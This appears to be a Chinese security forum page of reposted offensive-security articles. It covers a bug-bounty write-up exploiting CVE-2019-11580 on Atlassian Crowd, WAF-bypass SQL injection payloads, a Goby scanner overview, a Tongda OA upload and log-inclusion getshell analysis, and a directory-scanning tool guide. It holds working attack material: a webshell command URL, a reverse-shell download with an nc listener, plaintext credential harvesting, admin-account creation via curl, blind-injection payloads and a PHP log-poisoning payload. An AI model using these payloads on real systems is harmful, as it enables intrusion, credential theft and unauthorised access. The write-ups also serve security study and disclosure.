手上有了一堆内网信息和其密码配置模式,但还缺少一个有效的内网访问渠道。为此,我又想从其子域名中发现更多线索,这次我用到了域名和主机可视化发现工具aquatone。之后我发现了目标公司在用的一个老版本服务端,从其显示线索中来看,只有一些带有类似 1st words、2nd words、3rd words和crowd关键字的可点击链接,其中的“crowd”引起了我的注意,于是我点击了“crowd”的关键字链接,然后它跳转到了一个Atlassian Crowd应用的子域名网站,从中注意到是2017年的版本。
面对该Atlassian Crowd应用,我想有三种可利用方式:
可测试一些用过的账户密码;
可测试发现未修复的补丁;
可测试发现配置型漏洞。
当然,首先可用Google来搜索其漏洞利用方式:
经过一番查找,我发现了该版本的Atlassian Crowd存在CVE-2019-11580漏洞,之后就是看看该漏洞是否存在公开的利用代码(exploit),然后我在Github中发现了这个远程代码执行(RCE)的exploit:
接下来的就是调试当前Atlassian Crowd应用是否存在该漏洞了。可以在其/admin/路径下的上传操作端uploadplugin.action点击查看,如果当前Atlassian Crowd应用回显了一个错误消息“HTTP Status 400 – Requires POST” ,那么这种情况说明它是存在该RCE漏洞的,也就是说其uploadplugin插件可以被未授权利用。
RCE代码执行
现在,我们从https://github.com/jas502n/CVE-2019-11580下载漏洞利用代码CVE-2019-11580.py,以当前Atlassian Crowd应用为目标,它确实存在CVE-2019-11580漏洞,并反弹回了一个webshell,如下:
接着,就可以通过浏览器浏览http://xx.xx.xx.xx/crowd/plugins/servlet/exp?cmd=command_here,访问到这个webshell了,当然其中的command_here可以替换成其它系统命令。如下:
所以,总结来看,该漏洞利用有三个好处:
1、无需任何用户账户密码;
2、RCE是以root身份执行的;
3、该Atlassian Crowd应用无任何安全防护。
但这还不够,我们需要一个能与目标系统执行交互的Webshell!
这里,我的想法是通过我的Attacker主机,实现对目标应用系统的操控交互。通常我用的是PentestMonkey上提供的反弹Shell,但可惜的是,其中的交互命令在与我的Attacker主机连接执行时没有任何回连显示,很可能是目标Web应用过滤了如> & 以及‘ “这些特殊字符。
为此,我只有在我的Attacker主机放置了一个回连python脚本reverse.py,然后通过之前的RCE命令迫使目标Web应用来对它执行下载,然后再通过我的Attacker主机连接它,实现控制。具体的python回连脚本reverse.py如下:
目标Web应用从我的Attacker主机中下载python回连脚本reverse.py:
就这样,我们就向目标Web应用系统中植入了一个反弹脚本,之后,需要对该脚本文件进行chmod权限修改以便我们能访问执行,如可以把它修改为700:
目标Web应用下载了reverse.py后,我们这边的Attacker主机需要设置一个监听端口:
$ nc -lvp <our_port>
然后,用之前的RCE shell使目标Web应用执行脚本reverse.py。但是,这还不算真正意义上的交互shell,如果把它设置为伪终端方式就更好了,所以,可以在终端窗口中执行以下python命令实现脚本的伪终端显示:
python -c 'import pty;pty.spawn("/bin/bash")'
到此,我们就获得了目标Web应用系统的一个控制shell:
通过运行reverse.py,我们就能无障碍地去连接目标Web应用系统中的数据库或其它运行服务了:
内部系统探测
这里我们获得的RCE,一个有利因素就是该服务器位于目标公司的内部网络中,当在上述交互webshell是去ping一些目标公司的公开系统时,返回响应中得到的是一些内部IP地址。也就是说,我们在这个全球知名大型信息通信技术公司的内部网络系统中实现了据点潜伏。之前阶段我们收集获得的大量内部网络信息,在这里就可派上用场了。但是,为了不造成严重影响破坏,不能再深入了,就点到为止吧。
声明:以上主要展示前期信息收集对后期渗透测试的重要性,最终说明问题即可收手,另外这些测试都是在允许授权之内开展的。
最终,尽管发现的该漏洞不在众测范围之内(out-scope),但确实是一次奇妙的渗透之旅。能以信息收集、目标分析和线索映证测试的方式,从知名信通公司的外部网络中打到内部系统,并实现RCE,已经非常不简单了。就像我们白帽平时开玩笑说的“要在漏洞测试中发现RCE漏洞,简单就是天方夜谭”。之后我及时上报了该漏洞,并收到目标公司的快速响应。
连接内部Crowd应用数据库
上述因为目标公司部署有Atlassian Crowd应用的系统存在漏洞,导致了最终我的RCE。那或许有人会问,能不能尝试登录其它的Atlassian Crowd应用或相关数据库呢?
我们也来看看。经测试发现,为配合Atlassian Crowd的使用,目标公司在该服务器上也安装了Atlassian协同办公组件Confluence,而我对Atlassian Crowd和Atlassian Confluence的协同工作机制根本不懂,但我在netstat命令下观察到了数据库连接,所以我想其中肯定涉及到一些密码信息的存储。经过对Atlassian Confluence的研究分析,我发现其密码信息存储在<confluence_home>/confluence.cfg.xml文件中。
使用locate命令,我在目标系统中发现了confluence.cfg.xml文件,更高兴的是,其中的密码信息完全是明文:
就这样,利用其中的密码信息,我成功登录到了其相关数据库:
登录了上述Crowd数据库之后,我就在想能不能把这个登录密码进行修改,换成我们自己的呢?我觉得应该是可行的,因为Atlassian在官方文档里有密码替换更改的说明,在如下介绍中,我们可以用哈希过的字符串去替换管理员原来的密码。
由于这是一个漏洞测试项目,因为没有密码修改授权,所以我们不能擅自进行这种密码替换更改。但如果在真实的攻击场景下,攻击者完全可以实现这种操作,对系统造成影响。那如果不能修改替换密码,我们可以选择创建一个新账户的方法来测试。经过查找发现,只要知道管理员账号密码,就可以通过REST请求方式来创建Atlassian Crowd的新账户:
上述操作的请求格式如下:
curl -i -X POSThttp://subdomain.target.com/crowd/rest/usermanagement/latest/user?username=your_new_user_here-H 'Content-type: application/json' -H 'Accept: application/json' -u crowd_administrator_username_here:crowd_administrator_password_here -d'
> {
> "email": "your@email_here.tld",
> "name": "your_new_user_here",
> "password": {
> "value": "your_new_user_password_here"
> }
> }
> '
your_new_user_here = 将要创建的账户名
crowd_administrator_username_here = Crowd的管理员名称
crowd_administrator_password_here = Crowd的管理员密码
your@email_here.tld = 将要创建账户的绑定邮箱
your_new_user_password_here =将要创建账户的密码
之后,进行账户激活,我们就可成功创建一个新的Crowd账户:
然后进行登录:
经验总结
1、前期的信息收集(Recon)至关重要,通过其我们可以了解目标应用的API工作机制和开发环境等因素。在此借用大牛@Mongobug和@NahamSec对Recon的原话:
“前期信息收集(Recon)不仅可以发现目标系统的资产环境和过期版本信息,还可以掌握相关的应用架构,并获取到一些很难探测到的功能特性。因此,成功的测试需要在前期信息收集和实际渗透过程中保持一种平衡。”
2、不要丢掉任何你搜集到的数据和信息,说不定在之后的测试中可以发挥作用。该次测试中,我就是综合利用了前期收集的有用线索,最终成功在后续阶段实现了突破验证了RCE漏洞,收获了$9,000的奖励;
3、享受你的每次漏洞测试或渗透测试活动,不要太过于看重赏金(Bounty)。尽量去测试那些合法或官方的项目,多动手多思考多学习,这样才能快速地提高你的测试技能,扩展你的知识面;
4、可以多参与一些官方的漏洞责任披露项目,从中好好练手,储备经验;
5、高手和大牛都不是天生的,他们曾经也是菜鸟。
转载自FreeBuf.com
SQL注入绕waf
muyu 发表了文章 • 0 个评论 • 371 次浏览 • 2020-04-20 15:39
现在的网站安全意识逐渐变强,waf防御也应运而生,五花八门的安全狗防护着网站安全。而对于一些安全测试,我们就有必要对安全狗进行绕过。为了便于以后安全测试的方便,我们最合理的方法就是对不同waf绕过姿势日积月累。以下是两个waf的绕过姿势:
0x01 绕某狗
以下是有某安全狗的网站,看一下其绕过思路:
我们进行简单的and 1=1 之后发现是会被拦截的,那么我们就直接上fuzz
and 1 like 1 拦截
%23%0a 1=1 拦截
and /*!1=1*/ 不拦截
and hex(1) 不拦截
尝试绕过order by
此狗对结合的order by会进行拦截,那么我们就尝试分开order和by,尝试内联注释不行
order /*!by */ 1 拦截
order%23%0aby 1 不拦截
order --+%0a by 拦截
一般安全狗这种对查询中间添加一些无用数据就不会拦截 order xxx by
order all by 1不拦截 但是这种查询语句就无效的,这里我们就要想办法给他给注释掉
order --+all%0a by 1 不拦截 且语句有效
绕 union select
可以按照绕order by的思路尝试防止结合,中间添加一些数据
union%23%0aselect 被拦截
union--+%0aselect 被拦截
union%23xxx%0aselect 不拦截
union-- xxx%0aselect 不拦截
union--+xxx%0aselect 不拦截
有些安全狗不会对//里面内容进行校验
/&ID=-17 union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23/ 不拦截
绕过系统函数(尝试/**/进行绕过)
database() -->database/**/()
database() -->database/*!()*/
user() --> user/**/()
user() -->user/*!()*/0x02 绕过云锁
order by
/*!order*//*!by*/1 拦截
/*!40000/*!30000order*//*!40000/*!30000by*/1 不拦截 这里30000是数据库版本如果大于他就会执行.
时间盲注开始尝试
id=2 and length(database())>1 不拦截,这里我们可以判断出数据库长度.
获取数据库名称
id= 2 and if(ascii(substr(database(),1,1))>120,1,sleep(7)) 拦截
id=2 and if(ascii(substr(database/**/(),1,1))>120,1,sleep/**/(7)) 不拦截
id=2 and if(ascii(substr(database/*!()*/,1,1))>120,1,sleep/*!(7)*/) 不拦截
后面内容是查询表和字段,就不再进行尝试,想要更进一步了解可以参照转载文章学习。
参考文章
https://xz.aliyun.com/t/7522
https://blog.csdn.net/bylfsj/article/details/101695699
https://xz.aliyun.com/t/7515 查看全部
现在的网站安全意识逐渐变强,waf防御也应运而生,五花八门的安全狗防护着网站安全。而对于一些安全测试,我们就有必要对安全狗进行绕过。为了便于以后安全测试的方便,我们最合理的方法就是对不同waf绕过姿势日积月累。以下是两个waf的绕过姿势:
0x01 绕某狗
以下是有某安全狗的网站,看一下其绕过思路:
我们进行简单的and 1=1 之后发现是会被拦截的,那么我们就直接上fuzz
and 1 like 1 拦截
%23%0a 1=1 拦截
and /*!1=1*/ 不拦截
and hex(1) 不拦截
尝试绕过order by
此狗对结合的order by会进行拦截,那么我们就尝试分开order和by,尝试内联注释不行
order /*!by */ 1 拦截
order%23%0aby 1 不拦截
order --+%0a by 拦截
一般安全狗这种对查询中间添加一些无用数据就不会拦截 order xxx by
order all by 1不拦截 但是这种查询语句就无效的,这里我们就要想办法给他给注释掉
order --+all%0a by 1 不拦截 且语句有效
绕 union select
可以按照绕order by的思路尝试防止结合,中间添加一些数据
union%23%0aselect 被拦截
union--+%0aselect 被拦截
union%23xxx%0aselect 不拦截
union-- xxx%0aselect 不拦截
union--+xxx%0aselect 不拦截
有些安全狗不会对//里面内容进行校验
/&ID=-17 union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23/ 不拦截
绕过系统函数(尝试/**/进行绕过)
database() -->database/**/()0x02 绕过云锁
database() -->database/*!()*/
user() --> user/**/()
user() -->user/*!()*/
order by
/*!order*//*!by*/1 拦截
/*!40000/*!30000order*//*!40000/*!30000by*/1 不拦截 这里30000是数据库版本如果大于他就会执行.
时间盲注开始尝试
id=2 and length(database())>1 不拦截,这里我们可以判断出数据库长度.
获取数据库名称
id= 2 and if(ascii(substr(database(),1,1))>120,1,sleep(7)) 拦截
id=2 and if(ascii(substr(database/**/(),1,1))>120,1,sleep/**/(7)) 不拦截
id=2 and if(ascii(substr(database/*!()*/,1,1))>120,1,sleep/*!(7)*/) 不拦截
后面内容是查询表和字段,就不再进行尝试,想要更进一步了解可以参照转载文章学习。
参考文章
https://xz.aliyun.com/t/7522
https://blog.csdn.net/bylfsj/article/details/101695699
https://xz.aliyun.com/t/7515
新安全工具----Goby【转】
zh_smile 发表了文章 • 1 个评论 • 423 次浏览 • 2020-04-06 09:57
Goby主要特性:
实战性:Goby并不关注漏洞库的数量有多么多,而是关注真正用于实际攻击的漏洞数量,以及漏洞的利用深度;
体系性:打通渗透前,渗透中,以及渗透后的完整流程完整DOM事件收集,自动化触发。
高效性:利用积累的规则库,全自动的实现IT资产攻击面的梳理;效率提升数倍,发包更少速度更快、更精准;
平台性:发动广泛的安全人员的力量,完善上面提到的所有资源库;包括基于社区的数据共享,插件发布,漏洞共享等;
艺术性:安全工具原本就比较偏门,我们更多的关注功能而非美观度,所有大部分的安全工具都是其貌不扬;我们希望使用Goby能给大家带来感官上的享受。
0×001 安装
Goby目前是使用Go语言开发、采用Electron+VUE前端框架的绿色版本,支持windows/MacOS/Linux,无需安装。因Goby基于网络扫描,所以使用前,请先赋予goby识别网卡的权限。方式如下:
1.Windows用户
下载Npcap数据捕获包,安装完成后,启动goby。 下载地址:https://nmap.org/npcap/dist/npcap-0.9983.exe
2.MacOS用户
执行以下命令:[code]cd /dev
sudo chown $USER:admin bp*
[/code]0×002 使用
1.资产收集
自动探测当前网络空间存活的IP及解析域名到IP,轻量且快速的分析出端口对应的协议、Mac地址、证书、应用产品、厂商等信息。
在设置界面开启以下功能,将获取更多资产信息。
子域名扫描
自动爬取子域名,AXFR监测,二级域名字典爆破,关联域名查询。同时支持连接FOFA,扩大数据源。
网站截图
通过截图,快速判断网站系统应用,无须再一一打开。
注:该功能基于Chrome截图插件实现,需要预安装Chrome浏览器
深度分析
发现非标准端口或非标准应用系统资产,进行深入的应用识别。在实战场景中非常有效。
代理扫描
通过socket5代理,快速进入内网,开启内网渗透。
注:支持Pcap及socket两种模式,请根据不同的场合动态切换。 pcap模式:支持协议识别和漏洞扫描,不支持端口扫描; socket模式:支持端口扫描协议识别以及漏洞扫描,扫描速度慢。
2.漏洞利用
对扫描出来的风险资产进行批量验证,验证成功后,可进行利用,利用成功后,不需要自己搭建服务器,直接进行shell管理。
支持自定义PoC及弱口令字典,让安全人员自定义属于自己的武器库,增强攻击力。
3.生成报告
扫描完成后,生成分析报告,并支持PDF、Excel导出,方便本地分析及呈报传阅。
4.CS模式
远程服务,区分扫描模块及展示模块。 CS搭建:开启远端服务,然后配置服务端主机、端口、账户信息。
0×003 预置数据说明
1.规则库
超过10万种规则识别引擎,硬件覆盖范围:网络设备,物联网设备,网络安全产品,办公设备等,软件覆盖范围:CRM,CMS,EMAIL,OA系统等。2.协议
超过200种协议识别引擎,覆盖网络协议,数据库协议,IoT协议,ICS协议等。3.端口
除了常用端口,我们还根据安全实战场景进行了端口分组,包括企业、咖啡馆、酒店、机场、数据库、物联网、SCADA、ICS、后门检测等。4.漏洞及弱口令
覆盖Weblogic,Tomcat等最严重漏洞及超过1000种设备的预置账号信息。
CVE-2020-2551
CVE-2020-2555
CVE-2019-10758
CVE-2011-3556
CVE-2017-5878
CVE-2018-1297
CVE-2019-19781
CVE-2020-10189
CVE-2016-4437
CVE-2018-1000861
CVE-2017-1000353
CVE-2020-1938…
持续更新中
注:该工具目前仅限于内网测试,外网测试还在深耕打磨中
免费下载goby,请访问官网https://gobies.org/
文章转自:https://www.freebuf.com/sectool/232007.html 查看全部
Goby主要特性:
实战性:Goby并不关注漏洞库的数量有多么多,而是关注真正用于实际攻击的漏洞数量,以及漏洞的利用深度;
体系性:打通渗透前,渗透中,以及渗透后的完整流程完整DOM事件收集,自动化触发。
高效性:利用积累的规则库,全自动的实现IT资产攻击面的梳理;效率提升数倍,发包更少速度更快、更精准;
平台性:发动广泛的安全人员的力量,完善上面提到的所有资源库;包括基于社区的数据共享,插件发布,漏洞共享等;
艺术性:安全工具原本就比较偏门,我们更多的关注功能而非美观度,所有大部分的安全工具都是其貌不扬;我们希望使用Goby能给大家带来感官上的享受。
0×001 安装
Goby目前是使用Go语言开发、采用Electron+VUE前端框架的绿色版本,支持windows/MacOS/Linux,无需安装。因Goby基于网络扫描,所以使用前,请先赋予goby识别网卡的权限。方式如下:
1.Windows用户
下载Npcap数据捕获包,安装完成后,启动goby。 下载地址:https://nmap.org/npcap/dist/npcap-0.9983.exe
2.MacOS用户
执行以下命令:
[code]cd /dev[/code]0×002 使用
sudo chown $USER:admin bp*
1.资产收集
自动探测当前网络空间存活的IP及解析域名到IP,轻量且快速的分析出端口对应的协议、Mac地址、证书、应用产品、厂商等信息。
在设置界面开启以下功能,将获取更多资产信息。
子域名扫描
自动爬取子域名,AXFR监测,二级域名字典爆破,关联域名查询。同时支持连接FOFA,扩大数据源。
网站截图
通过截图,快速判断网站系统应用,无须再一一打开。
注:该功能基于Chrome截图插件实现,需要预安装Chrome浏览器
深度分析
发现非标准端口或非标准应用系统资产,进行深入的应用识别。在实战场景中非常有效。
代理扫描
通过socket5代理,快速进入内网,开启内网渗透。
注:支持Pcap及socket两种模式,请根据不同的场合动态切换。 pcap模式:支持协议识别和漏洞扫描,不支持端口扫描; socket模式:支持端口扫描协议识别以及漏洞扫描,扫描速度慢。
2.漏洞利用
对扫描出来的风险资产进行批量验证,验证成功后,可进行利用,利用成功后,不需要自己搭建服务器,直接进行shell管理。
支持自定义PoC及弱口令字典,让安全人员自定义属于自己的武器库,增强攻击力。
3.生成报告
扫描完成后,生成分析报告,并支持PDF、Excel导出,方便本地分析及呈报传阅。
4.CS模式
远程服务,区分扫描模块及展示模块。 CS搭建:开启远端服务,然后配置服务端主机、端口、账户信息。
0×003 预置数据说明
1.规则库
超过10万种规则识别引擎,硬件覆盖范围:网络设备,物联网设备,网络安全产品,办公设备等,软件覆盖范围:CRM,CMS,EMAIL,OA系统等。2.协议
超过200种协议识别引擎,覆盖网络协议,数据库协议,IoT协议,ICS协议等。3.端口
除了常用端口,我们还根据安全实战场景进行了端口分组,包括企业、咖啡馆、酒店、机场、数据库、物联网、SCADA、ICS、后门检测等。4.漏洞及弱口令
覆盖Weblogic,Tomcat等最严重漏洞及超过1000种设备的预置账号信息。
CVE-2020-2551
CVE-2020-2555
CVE-2019-10758
CVE-2011-3556
CVE-2017-5878
CVE-2018-1297
CVE-2019-19781
CVE-2020-10189
CVE-2016-4437
CVE-2018-1000861
CVE-2017-1000353
CVE-2020-1938…
持续更新中
注:该工具目前仅限于内网测试,外网测试还在深耕打磨中
免费下载goby,请访问官网https://gobies.org/
文章转自:https://www.freebuf.com/sectool/232007.html
通达OA文件上传/文件包含GetShell
heyha 发表了文章 • 0 个评论 • 317 次浏览 • 2020-04-02 16:56
先来看看该漏洞的利用方式
绕过文件上传然后包含
包含日志文件
再来看看通达oa的信息
通达信科隶属于世界500强企业。
中国兵器工业信息中心通达信科隶属于中国兵器工业集团。
通达OA系统代表了协同OA的先进理念,16年研发铸就成熟OA产品,协同OA软件行业唯一央企团队研发,多次摘取国内OA软件金奖,拥有2万多家正式用户,8万多家免费版用户,超过500万终端用户
影响版本:
V11版2017版2016版2015版2013版2013增强版
[b]漏洞分析[/b]
跟进这个文件 ispirit/im/upload.php <?php
set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}这里在数据包里面对p赋值可以绕过登录限制直接上传文件
这里显示的是未登录
在这里已经绕过登录进行了文件的上传
在本地自己构造一个文件上传的页面<html>
<body>
<form action="http://127.0.0.1:8889/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>
文件名为 随机数字.文件名.格式
包含点为 \ispirit\interface\gateway.phpif ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {...}
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}
exit();
}最后面存在一个包含点
直接get传参就行
先访问/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>往日志里卖写一句话
在访问日志 ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log
也可以访问刚才上传的图片
以post的方式
json={"url":"general/../../attach/im/2004/711609261.01.jpg"}
后面会给出exp
参考:
https://blog.csdn.net/q851579181q/article/details/104968391
https://blog.csdn.net/god_zzZ/article/details/105192808?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522158579892119725211960470%2522%252C%2522scm%2522%253A%252220140713.130056874..%2522%257D&request_id=158579892119725211960470&biz_id=0&utm_source=distribute.pc_search_result.none-task
查看全部
先来看看该漏洞的利用方式
绕过文件上传然后包含
包含日志文件
再来看看通达oa的信息
通达信科隶属于世界500强企业。
中国兵器工业信息中心通达信科隶属于中国兵器工业集团。
通达OA系统代表了协同OA的先进理念,16年研发铸就成熟OA产品,协同OA软件行业唯一央企团队研发,多次摘取国内OA软件金奖,拥有2万多家正式用户,8万多家免费版用户,超过500万终端用户
影响版本:
- V11版
- 2017版
- 2016版
- 2015版
- 2013版
- 2013增强版
[b]漏洞分析[/b]
跟进这个文件 ispirit/im/upload.php
<?php这里在数据包里面对p赋值可以绕过登录限制直接上传文件
set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}
这里显示的是未登录
在这里已经绕过登录进行了文件的上传
在本地自己构造一个文件上传的页面
<html>
<body>
<form action="http://127.0.0.1:8889/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>
文件名为 随机数字.文件名.格式
包含点为 \ispirit\interface\gateway.php
if ($json) {最后面存在一个包含点
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {...}
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}
exit();
}
直接get传参就行
先访问/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>往日志里卖写一句话
在访问日志 ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log
也可以访问刚才上传的图片
以post的方式
json={"url":"general/../../attach/im/2004/711609261.01.jpg"}
后面会给出exp
参考:
https://blog.csdn.net/q851579181q/article/details/104968391
https://blog.csdn.net/god_zzZ/article/details/105192808?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522158579892119725211960470%2522%252C%2522scm%2522%253A%252220140713.130056874..%2522%257D&request_id=158579892119725211960470&biz_id=0&utm_source=distribute.pc_search_result.none-task
web信息收集之目录扫描
sq_smile 发表了文章 • 0 个评论 • 978 次浏览 • 2020-03-22 22:03
0X02 7kbscan: 个人觉得7kbscan是继御剑以后,比较好用的目录扫描工具。该工具1.5.8版本以前是在开发大佬的博客上,1.6.0以后的版本在github上。目前为止已经更新到1.6.2版本。
下载地址:https://github.com/7kbstorm/7kbscan-WebPathBrute
使用:
该工具支持单个url以及批量扫描。对单个目标进行扫描的时候,直接复制目标url,然后点击开始就行了。
如果目标存在waf,就需要启用延时扫描,间隔时间设置为1秒。
其他的使用方法参照github地址上,作者给出的特性自行研究,这里不再深挖。
0X03 sensinfor: 它也算是一个比较厉害的目录扫描工具,只不过它更多的扫描出敏感的文件,而不是目录。扫描备份文件和phpinfo页面有奇效。在7kbscan没有扫出来什么东西的时候我会选择使用它。将它的使用顺序放到后面,因为它的扫描速度有点疯狂。容易被ip,除此之外使用以后,一定要将它关上,不然你在正常访问其他网站的时候,体验会不是很好。使用:
1、下载源文件以后,导入google的扩展程序中。google扩展程序管理界面:chrome://extensions/ (直接在浏览器中打开即可,导入之前记得打开开发者模式,这个在扩展程序管理页面的右上角)。导入以后如下所示,如果不会导入,参考文章:https://zhuanlan.zhihu.com/p/57484771。导入以后如下所示:
2、具体的使用:打开一个web页面,在除了图片的任一地方右击。点击“Start Sensinfor”,然后刷新页面。如果有结果那个图标会变成红色,打开以后就是插件扫描到东西了。
0X03 dirsearch: 这个是很多大佬都推荐的目录扫描工具,效果确实不错。但是缺点也很明显,流量太大了。平常使用的时候,直接用我写的那条常用命令,如果有更多的需求,就参照进阶里的命令,自己挖掘姿势。
下载链接:https://github.com/maurosoria/dirsearch
使用:
初级:
-u 指定url
-e 指定网站语言
-w 加上自己的字典,带上路径。
-r 递归的去扫描目录
--random-agent 使用代理
python dirsearch.py -u http://www.xxx.com/ -e * #常用的命令
进阶:
Mandatory:
-u URL, --url=URL URL target
-L URLLIST, --url-list=URLLIST
URL list target
-e EXTENSIONS, --extensions=EXTENSIONS
Extension list separated by comma (Example: php,asp)
Dictionary Settings:
-w WORDLIST, --wordlist=WORDLIST
-l, --lowercase
-f, --force-extensions
Force extensions for every wordlist entry (like in
DirBuster)
General Settings:
-s DELAY, --delay=DELAY
Delay between requests (float number)
-r, --recursive Bruteforce recursively
-R RECURSIVE_LEVEL_MAX, --recursive-level-max=RECURSIVE_LEVEL_MAX
Max recursion level (subdirs) (Default: 1 [only
rootdir + 1 dir])
--suppress-empty, --suppress-empty
--scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS
Scan subdirectories of the given -u|--url (separated
by comma)
--exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS
Exclude the following subdirectories during recursive
scan (separated by comma)
-t THREADSCOUNT, --threads=THREADSCOUNT
Number of Threads
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES
Exclude status code, separated by comma (example: 301,
500)
-c COOKIE, --cookie=COOKIE
--ua=USERAGENT, --user-agent=USERAGENT
-F, --follow-redirects
-H HEADERS, --header=HEADERS
Headers to add (example: --header "Referer:
example.com" --header "User-Agent: IE"
--random-agents, --random-user-agents
Connection Settings:
--timeout=TIMEOUT Connection timeout
--ip=IP Resolve name to IP address
--proxy=HTTPPROXY, --http-proxy=HTTPPROXY
Http Proxy (example: localhost:8080
--http-method=HTTPMETHOD
Method to use, default: GET, possible also: HEAD;POST
--max-retries=MAXRETRIES
-b, --request-by-hostname
By default dirsearch will request by IP for speed.
This forces requests by hostname
Reports:
--simple-report=SIMPLEOUTPUTFILE
Only found paths
--plain-text-report=PLAINTEXTOUTPUTFILE
Found paths with status codes
--json-report=JSONOUTPUTFILE:
0X04 Burpsuite的discover content:
burpsuite在很多小白的眼里可能只是简单地用来抓包、重复发包、爆破等等用途。殊不知,他的扫描能力也是很强的。target——>site map——>Engagement tools中的Discover content用来作为目录扫描工具是非常好用的。扫描程度很深,再配上自制的字典,基本上可以抛开某些扫描器了。
1、对config模块的介绍:
2、简单的配置:
"discovered file"那一项更换成bf.txt。别的东西不需要动。
3、启动:
点击红色方框的按钮即可启动,扫描的时候可以在site map中查看扫描结果,查看建议对着数据包的response的title看,这样的查找效率很高。
4、刚刚用到了burp_dir.txt、burp_filenames.txt、bf.txt。链接我会放在文章最后。
0X05 总结:
以上的目录扫描工具根据自己的使用情况所做的总结,仅供参考。希望各位都能有一套自己喜欢的目录扫描方案,工具只有最顺手的,对自己来说才是最好的。在最后,祝各位师傅能挖到很多的漏洞。
0X06 链接以及参考文章:参考链接:https://gh0st.cn/archives/2020-02-13/1
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_dir.txt
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_filenames.txt
bf.txt:
txt
md
xml
db
7z
rar
zip
gz
tar
tar.gz
sql
bak
swp
old
properties
inc
ini
mdb
mdf
conf
config
log
rar
查看全部
目录扫描在网站信息收集的过程中也算是比较重要的一环,有的时候一个敏感文件、或者特殊的页面都可以让测试or漏洞挖掘的进程前进很多。本文就几款目录扫描的工具说一些自己的使用感受。
0X02 7kbscan:
个人觉得7kbscan是继御剑以后,比较好用的目录扫描工具。该工具1.5.8版本以前是在开发大佬的博客上,1.6.0以后的版本在github上。目前为止已经更新到1.6.2版本。
下载地址:https://github.com/7kbstorm/7kbscan-WebPathBrute
使用:
该工具支持单个url以及批量扫描。对单个目标进行扫描的时候,直接复制目标url,然后点击开始就行了。
如果目标存在waf,就需要启用延时扫描,间隔时间设置为1秒。
其他的使用方法参照github地址上,作者给出的特性自行研究,这里不再深挖。
0X03 sensinfor:
它也算是一个比较厉害的目录扫描工具,只不过它更多的扫描出敏感的文件,而不是目录。扫描备份文件和phpinfo页面有奇效。在7kbscan没有扫出来什么东西的时候我会选择使用它。将它的使用顺序放到后面,因为它的扫描速度有点疯狂。容易被ip,除此之外使用以后,一定要将它关上,不然你在正常访问其他网站的时候,体验会不是很好。
使用:
1、下载源文件以后,导入google的扩展程序中。google扩展程序管理界面:chrome://extensions/ (直接在浏览器中打开即可,导入之前记得打开开发者模式,这个在扩展程序管理页面的右上角)。导入以后如下所示,如果不会导入,参考文章:https://zhuanlan.zhihu.com/p/57484771。导入以后如下所示:
2、具体的使用:打开一个web页面,在除了图片的任一地方右击。点击“Start Sensinfor”,然后刷新页面。如果有结果那个图标会变成红色,打开以后就是插件扫描到东西了。
0X03 dirsearch:
这个是很多大佬都推荐的目录扫描工具,效果确实不错。但是缺点也很明显,流量太大了。平常使用的时候,直接用我写的那条常用命令,如果有更多的需求,就参照进阶里的命令,自己挖掘姿势。
下载链接:https://github.com/maurosoria/dirsearch
使用:
初级:
-u 指定url
-e 指定网站语言
-w 加上自己的字典,带上路径。
-r 递归的去扫描目录
--random-agent 使用代理
python dirsearch.py -u http://www.xxx.com/ -e * #常用的命令
进阶:
Mandatory:
-u URL, --url=URL URL target
-L URLLIST, --url-list=URLLIST
URL list target
-e EXTENSIONS, --extensions=EXTENSIONS
Extension list separated by comma (Example: php,asp)
Dictionary Settings:
-w WORDLIST, --wordlist=WORDLIST
-l, --lowercase
-f, --force-extensions
Force extensions for every wordlist entry (like in
DirBuster)
General Settings:
-s DELAY, --delay=DELAY
Delay between requests (float number)
-r, --recursive Bruteforce recursively
-R RECURSIVE_LEVEL_MAX, --recursive-level-max=RECURSIVE_LEVEL_MAX
Max recursion level (subdirs) (Default: 1 [only
rootdir + 1 dir])
--suppress-empty, --suppress-empty
